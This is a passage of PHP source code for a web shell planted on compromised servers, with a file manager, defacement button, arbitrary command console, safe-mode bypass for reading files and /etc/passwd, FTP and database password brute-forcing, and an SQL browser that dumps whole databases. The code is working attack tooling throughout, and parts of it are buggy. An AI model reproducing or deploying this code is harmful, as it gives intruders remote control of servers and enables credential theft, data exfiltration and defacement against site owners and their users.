564 $n = count($dirContent);
565 for ($i = 0;$i < $n;$i++) {
566 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
567 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
568 $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
569 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
570 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $links[] = array_merge($tmp, array('type' => 'link'));
571 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir'));
572 }
573 $GLOBALS['sort'] = $sort;
574 function cmp($a, $b) {
575 if ($GLOBALS['sort'][0] != 'size') return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]]) * ($GLOBALS['sort'][1] ? 1 : -1);
576 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
577 }
578 usort($files, "cmp");
579 usort($dirs, "cmp");
580 usort($links, "cmp");
581 $files = array_merge($dirs, $links, $files);
582 $l = 0;
583 foreach ($files as $f) {
584 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');"><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
585 $l = $l ? 0 : 1;
586 }
587 echo '<tr><td colspan=5>
588 <input type=hidden name=a value=\'FilesMan\'>
589 <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
590 <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
591 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
592 if (!empty($_SESSION['act']) && @count($_SESSION['f'])) {
593 echo '<option value=\'paste\'>Paste</option>';
594 }
595 echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="3ca.html" size="10"/> <input type="button" onclick="g(\'FilesMan\',\'' . htmlspecialchars($GLOBALS['cwd']) . '\',\'deface\',document.getElementById(\'def\').value)" value="Add Deface Here"></td></tr>
596 </form></table></div>';
597 printFooter();
598 }
599 function actionStringTools() {
600 if (!function_exists('hex2bin')) {
601 function hex2bin($p) {
602 return decbin(hexdec($p));
603 }
604 }
605 if (!function_exists('hex2ascii')) {
606 function hex2ascii($p) {
607 $r = '';
608 for ($i = 0;$i < strLen($p);$i+= 2) {
609 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
610 }
611 return $r;
612 }
613 }
614 if (!function_exists('ascii2hex')) {
615 function ascii2hex($p) {
616 $r = '';
617 for ($i = 0;$i < strlen($p);++$i) $r.= dechex(ord($p[$i]));
618 return strtoupper($r);
619 }
620 }
621 if (!function_exists('full_urlencode')) {
622 function full_urlencode($p) {
623 $r = '';
624 for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
625 return strtoupper($r);
626 }
627 }
628 if (isset($_POST['ajax'])) {
629 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
630 ob_start();
631 if (function_exists($_POST['p1'])) echo $_POST['p1']($_POST['p2']);
632 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
633
634 \' ") . "';
635";
636 echo strlen($temp), "
637", $temp;
638 exit;
639 }
640 printHeader();
641 echo '<h1>String conversions</h1><div class=content>';
642 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'bin2hex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
643 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
644 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
645 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
646 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . htmlspecialchars(@$_POST['p2']) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
647 if (!empty($_POST['p1'])) {
648 if (function_exists($_POST['p1'])) echo htmlspecialchars($_POST['p1']($_POST['p2']));
649 }
650 echo "</pre></div>";
651 printFooter();
652 }
653 function actionFilesTools() {
654 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
655 if (@$_POST['p2'] == 'download') {
656 if (is_file($_POST['p1']) && is_readable($_POST['p1'])) {
657 ob_start("ob_gzhandler", 4096);
658 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
659 if (function_exists("mime_content_type")) {
660 $type = @mime_content_type($_POST['p1']);
661 header("Content-Type: " . $type);
662 }
663 $fp = @fopen($_POST['p1'], "r");
664 if ($fp) {
665 while (!@feof($fp)) echo @fread($fp, 1024);
666 fclose($fp);
667 }
668 } elseif (is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
669 }
670 exit;
671 }
672 if (@$_POST['p2'] == 'mkfile') {
673 if (!file_exists($_POST['p1'])) {
674 $fp = @fopen($_POST['p1'], 'w');
675 if ($fp) {
676 $_POST['p2'] = "edit";
677 fclose($fp);
678 }
679 }
680 }
681 printHeader();
682 echo '<h1>File tools</h1><div class=content>';
683 if (!file_exists(@$_POST['p1'])) {
684 echo 'File not exists';
685 printFooter();
686 return;
687 }
688 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
689 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
690 echo '<span>Name:</span> ' . htmlspecialchars($_POST['p1']) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
691 echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
692 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
693 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
694 else $m = array('Chmod', 'Rename', 'Touch');
695 foreach ($m as $v) echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
696 echo '<br><br>';
697 switch ($_POST['p2']) {
698 case 'view':
699 echo '<pre class=ml1>';
700 $fp = @fopen($_POST['p1'], 'r');
701 if ($fp) {
702 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
703 @fclose($fp);
704 }
705 echo '</pre>';
706 break;
707 case 'highlight':
708 if (is_readable($_POST['p1'])) {
709 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
710 $code = highlight_file($_POST['p1'], true);
711 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
712 }
713 break;
714 case 'chmod':
715 if (!empty($_POST['p3'])) {
716 $perms = 0;
717 for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
718 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
719 else die('<script>g(null,null,null,null,"")</script>');
720 }
721 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
722 break;
723 case 'edit':
724 if (!is_writable($_POST['p1'])) {
725 echo 'File isn\'t writeable';
726 break;
727 }
728 if (!empty($_POST['p3'])) {
729 @file_put_contents($_POST['p1'], $_POST['p3']);
730 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
731 }
732 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
733 $fp = @fopen($_POST['p1'], 'r');
734 if ($fp) {
735 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
736 @fclose($fp);
737 }
738 echo '</textarea><input type=submit value=">>"></form>';
739 break;
740 case 'hexdump':
741 $c = @file_get_contents($_POST['p1']);
742 $n = 0;
743 $h = array('00000000<br>', '', '');
744 $len = strlen($c);
745 for ($i = 0;$i < $len;++$i) {
746 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
747 switch (ord($c[$i])) {
748 case 0:
749 $h[2].= ' ';
750 break;
751 case 9:
752 $h[2].= ' ';
753 break;
754 case 10:
755 $h[2].= ' ';
756 break;
757 case 13:
758 $h[2].= ' ';
759 break;
760 default:
761 $h[2].= $c[$i];
762 break;
763 }
764 $n++;
765 if ($n == 32) {
766 $n = 0;
767 if ($i + 1 < $len) {
768 $h[0].= sprintf('%08X', $i + 1) . '<br>';
769 }
770 $h[1].= '<br>';
771 $h[2].= "
772";
773 }
774 }
775 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
776 break;
777 case 'rename':
778 if (!empty($_POST['p3'])) {
779 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
780 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
781 }
782 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
783 break;
784 case 'touch':
785 if (!empty($_POST['p3'])) {
786 $time = strtotime($_POST['p3']);
787 if ($time) {
788 if (@touch($_POST['p1'], $time, $time)) die('<script>g(null,null,null,null,"")</script>');
789 else {
790 echo 'Fail!<script>document.mf.p3.value="";</script>';
791 }
792 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
793 }
794 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
795 break;
796 case 'mkfile':
797 break;
798 }
799 echo '</div>';
800 printFooter();
801 }
802 function actionSafeMode() {
803 $temp = '';
804 ob_start();
805 switch ($_POST['p1']) {
806 case 1:
807 $temp = @tempnam($test, 'cx');
808 if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
809 echo @file_get_contents($temp);
810 unlink($temp);
811 } else echo 'Sorry... Can\'t open file';
812 break;
813 case 2:
814 $files = glob($_POST['p2'] . '*');
815 if (is_array($files)) foreach ($files as $filename) echo $filename . "
816";
817 break;
818 case 3:
819 $ch = curl_init("file://" . $_POST['p2'] . " " . SELF_PATH);
820 curl_exec($ch);
821 break;
822 case 4:
823 ini_restore("safe_mode");
824 ini_restore("open_basedir");
825 include ($_POST['p2']);
826 break;
827 case 5:
828 for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
829 $uid = @posix_getpwuid($_POST['p2']);
830 if ($uid) echo join(':', $uid) . "
831";
832 }
833 break;
834 case 6:
835 if (!function_exists('imap_open')) break;
836 $stream = imap_open($_POST['p2'], "", "");
837 if ($stream == FALSE) break;
838 echo imap_body($stream, 1);
839 imap_close($stream);
840 break;
841 }
842 $temp = ob_get_clean();
843 printHeader();
844 echo '<h1>Safe mode bypass</h1><div class=content>';
845 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
846 if ($temp) echo '<pre class="ml1" style="margin-top:5px" id="Output">' . $temp . '</pre>';
847 echo '</div>';
848 printFooter();
849 }
850 function actionConsole() {
851 if (isset($_POST['ajax'])) {
852 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
853 ob_start();
854 echo "document.cf.cmd.value='';
855";
856 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
857$ " . $_POST['p1'] . "
858" . ex($_POST['p1']), "
859
860 \' "));
861 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
862 if (@chdir($match[1])) {
863 $GLOBALS['cwd'] = @getcwd();
864 echo "document.mf.c.value='" . $GLOBALS['cwd'] . "';";
865 }
866 }
867 echo "document.cf.output.value+='" . $temp . "';";
868 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
869 $temp = ob_get_clean();
870 echo strlen($temp), "
871", $temp;
872 exit;
873 }
874 printHeader();
875 echo '<script>
876if(window.Event) window.captureEvents(Event.KEYDOWN);
877var cmds = new Array("");
878var cur = 0;
879function kp(e) {
880 var n = (window.Event) ? e.which : e.keyCode;
881 if(n == 38) {
882 cur--;
883 if(cur>=0)
884 document.cf.cmd.value = cmds[cur];
885 else
886 cur++;
887 } else if(n == 40) {
888 cur++;
889 if(cur < cmds.length)
890 document.cf.cmd.value = cmds[cur];
891 else
892 cur--;
893 }
894}
895function add(cmd) {
896 cmds.pop();
897 cmds.push(cmd);
898 cmds.push("");
899 cur = cmds.length-1;
900}
901</script>';
902 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
903 foreach ($GLOBALS['aliases'] as $n => $v) {
904 if ($v == '') {
905 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
906 continue;
907 }
908 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
909 }
910 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
911 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 ' . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
912 if (!empty($_POST['p1'])) {
913 echo htmlspecialchars("$ " . $_POST['p1'] . "
914" . ex($_POST['p1']));
915 }
916 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
917 echo '</form></div><script>document.cf.cmd.focus();</script>';
918 printFooter();
919 }
920 function actionLogout() {
921 unset($_SESSION[md5($_SERVER['HTTP_HOST']) ]);
922 echo '<body bgcolor=#000000><center><img src="http://i47.tinypic.com/2c0igo.png"></center></body>';
923 }
924 function actionSelfRemove() {
925 printHeader();
926 if ($_POST['p1'] == 'yes') {
927 if (@unlink(SELF_PATH)) die('Shell has been removed');
928 else echo 'unlink error!';
929 }
930 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
931 printFooter();
932 }
933 function actionBruteforce() {
934 printHeader();
935 if (isset($_POST['proto'])) {
936 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
937 if ($_POST['proto'] == 'ftp') {
938 function bruteForce($ip, $port, $login, $pass) {
939 $fp = @ftp_connect($ip, $port ? $port : 21);
940 if (!$fp) return false;
941 $res = @ftp_login($fp, $login, $pass);
942 @ftp_close($fp);
943 return $res;
944 }
945 } elseif ($_POST['proto'] == 'mysql') {
946 function bruteForce($ip, $port, $login, $pass) {
947 $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
948 @mysql_close($res);
949 return $res;
950 }
951 } elseif ($_POST['proto'] == 'pgsql') {
952 function bruteForce($ip, $port, $login, $pass) {
953 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=''";
954 $res = @pg_connect($server[0] . ':' . $server[1] ? $server[1] : 5432, $login, $pass);
955 @pg_close($res);
956 return $res;
957 }
958 }
959 $success = 0;
960 $attempts = 0;
961 $server = explode(":", $_POST['server']);
962 if ($_POST['type'] == 1) {
963 $temp = @file('/etc/passwd');
964 if (is_array($temp)) foreach ($temp as $line) {
965 $line = explode(":", $line);
966 ++$attempts;
967 if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
968 $success++;
969 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
970 }
971 if (@$_POST['reverse']) {
972 $tmp = "";
973 for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
974 ++$attempts;
975 if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
976 $success++;
977 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
978 }
979 }
980 }
981 } elseif ($_POST['type'] == 2) {
982 $temp = @file($_POST['dict']);
983 if (is_array($temp)) foreach ($temp as $line) {
984 $line = trim($line);
985 ++$attempts;
986 if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
987 $success++;
988 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
989 }
990 }
991 }
992 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
993 }
994 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="komsen"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
995 echo '</div><br>';
996 printFooter();
997 }
998 function actionSql() {
999 class DbClass {
1000 var $type;
1001 var $link;
1002 var $res;
1003 function DbClass($type) {
1004 $this->type = $type;
1005 }
1006 function connect($host, $user, $pass, $dbname) {
1007 switch ($this->type) {
1008 case 'mysql':
1009 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
1010 break;
1011 case 'pgsql':
1012 $host = explode(':', $host);
1013 if (!$host[1]) $host[1] = 5432;
1014 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
1015 break;
1016 }
1017 return false;
1018 }
1019 function selectdb($db) {
1020 switch ($this->type) {
1021 case 'mysql':
1022 if (@mysql_select_db($db)) return true;
1023 break;
1024 }
1025 return false;
1026 }
1027 function query($str) {
1028 switch ($this->type) {
1029 case 'mysql':
1030 return $this->res = @mysql_query($str);
1031 break;
1032 case 'pgsql':
1033 return $this->res = @pg_query($this->link, $str);
1034 break;
1035 }
1036 return false;
1037 }
1038 function fetch() {
1039 $res = func_num_args() ? func_get_arg(0) : $this->res;
1040 switch ($this->type) {
1041 case 'mysql':
1042 return @mysql_fetch_assoc($res);
1043 break;
1044 case 'pgsql':
1045 return @pg_fetch_assoc($res);
1046 break;
1047 }
1048 return false;
1049 }
1050 function listDbs() {
1051 switch ($this->type) {
1052 case 'mysql':
1053 return $this->res = @mysql_list_dbs($this->link);
1054 break;
1055 case 'pgsql':
1056 return $this->res = $this->query("SELECT datname FROM pg_database");
1057 break;
1058 }
1059 return false;
1060 }
1061 function listTables() {
1062 switch ($this->type) {
1063 case 'mysql':
1064 return $this->res = $this->query('SHOW TABLES');
1065 break;
1066 case 'pgsql':
1067 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1068 break;
1069 }
1070 return false;
1071 }
1072 function error() {
1073 switch ($this->type) {
1074 case 'mysql':
1075 return @mysql_error($this->link);
1076 break;
1077 case 'pgsql':
1078 return @pg_last_error($this->link);
1079 break;
1080 }
1081 return false;
1082 }
1083 function setCharset($str) {
1084 switch ($this->type) {
1085 case 'mysql':
1086 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1087 else $this->query('SET CHARSET ' . $str);
1088 break;
1089 case 'mysql':
1090 return @pg_set_client_encoding($this->link, $str);
1091 break;
1092 }
1093 return false;
1094 }
1095 function dump($table) {
1096 switch ($this->type) {
1097 case 'mysql':
1098 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1099 $create = mysql_fetch_array($res);
1100 echo $create[1] . ";
1101
1102";
1103 $this->query('SELECT * FROM `' . $table . '`');
1104 while ($item = $this->fetch()) {
1105 $columns = array();
1106 foreach ($item as $k => $v) {
1107 $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1108 $columns[] = "`" . $k . "`";
1109 }
1110 echo 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1111";
1112 }
1113 break;
1114 case 'pgsql':
1115 $this->query('SELECT * FROM ' . $table);
1116 while ($item = $this->fetch()) {
1117 $columns = array();
1118 foreach ($item as $k => $v) {
1119 $item[$k] = "'" . addslashes($v) . "'";
1120 $columns[] = $k;
1121 }
1122 echo 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1123";
1124 }
1125 break;
1126 }
1127 return false;
1128 }
1129 };
1130 $db = new DbClass(@$_POST['type']);
1131 if (@$_POST['p2'] == 'download') {
1132 ob_start("ob_gzhandler", 4096);
1133 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1134 $db->selectdb($_POST['sql_base']);
1135 header("Content-Disposition: attachment; filename=dump.sql");
1136 header("Content-Type: text/plain");
1137 foreach ($_POST['tbl'] as $v) $db->dump($v);
1138 exit;
1139 }
1140 printHeader();
1141 echo '<h1>Sql browser</h1><div class=content>
1142 <form name="sf" method="post">
1143 <table cellpadding="2" cellspacing="0">
1144 <tr>
1145 <td>Type</td>
1146 <td>Host</td>
1147 <td>Login</td>
1148 <td>Password</td>
1149 <td>Database</td>
1150 <td></td>
1151 </tr>
1152 <tr>
1153 <input type=hidden name=a value=Sql>
1154 <input type=hidden name=p1 value=\'query\'>
1155 <input type=hidden name=p2>
1156 <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
1157 <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
1158 <td>
1159 <select name=\'type\'>
1160 <option value="mysql" ' . (@$_POST['type'] == 'mysql' ? 'selected' : '') . '>MySql</option>
1161 <option value="pgsql" ' . (@$_POST['type'] == 'pgsql' ? 'selected' : '') . '>PostgreSql</option>
1162 </select></td>
1163 <td><input type=text name=sql_host value="' . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . '"></td>
1164 <td><input type=text name=sql_login value="' . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . '"></td>
1165 <td><input type=text name=sql_pass value="' . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . '"></td>
1166 <td>';
1167 $tmp = "<input type=text name=sql_base value=''>";
1168 if (isset($_POST['sql_host'])) {
1169 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1170 switch ($_POST['charset']) {
1171 case "Windows-1251":
1172 $db->setCharset('cp1251');
1173 break;
1174 case "UTF-8":
1175 $db->setCharset('utf8');
1176 break;
1177 case "KOI8-R":
1178 $db->setCharset('koi8r');
1179 break;
1180 case "KOI8-U":
1181 $db->setCharset('koi8u');
1182 break;
1183 case "cp866":
1184 $db->setCharset('cp866');
1185 break;
1186 }
1187 $db->listDbs();
1188 echo "<select name=sql_base><option value=''></option>";
1189 while ($item = $db->fetch()) {
1190 list($key, $value) = each($item);
1191 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1192 }
1193 echo '</select>';
1194 } else echo $tmp;
1195 } else echo $tmp;
1196 echo '</td>
1197 <td><input type=submit value=">>"></td>
1198 </tr>
1199 </table>
1200 <script>
1201 function st(t,l) {
1202 document.sf.p1.value = \'select\';
1203 document.sf.p2.value = t;
1204 if(l!=null)document.sf.p3.value = l;
1205 document.sf.submit();
1206 }
1207 function is() {
1208 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
1209 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
1210 }
1211 </script>';
1212 if (isset($db) && $db->link) {
1213 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1214 if (!empty($_POST['sql_base'])) {
1215 $db->selectdb($_POST['sql_base']);
1216 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1217 $tbls_res = $db->listTables();
1218 while ($item = $db->fetch($tbls_res)) {
1219 list($key, $value) = each($item);
1220 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1221 $value = htmlspecialchars($value);
1222 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "')\">" . $value . "</a> (" . $n['n'] . ")</nobr><br>";
1223 }
1224 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1225 if (@$_POST['p1'] == 'select') {
1226 $_POST['p1'] = 'query';
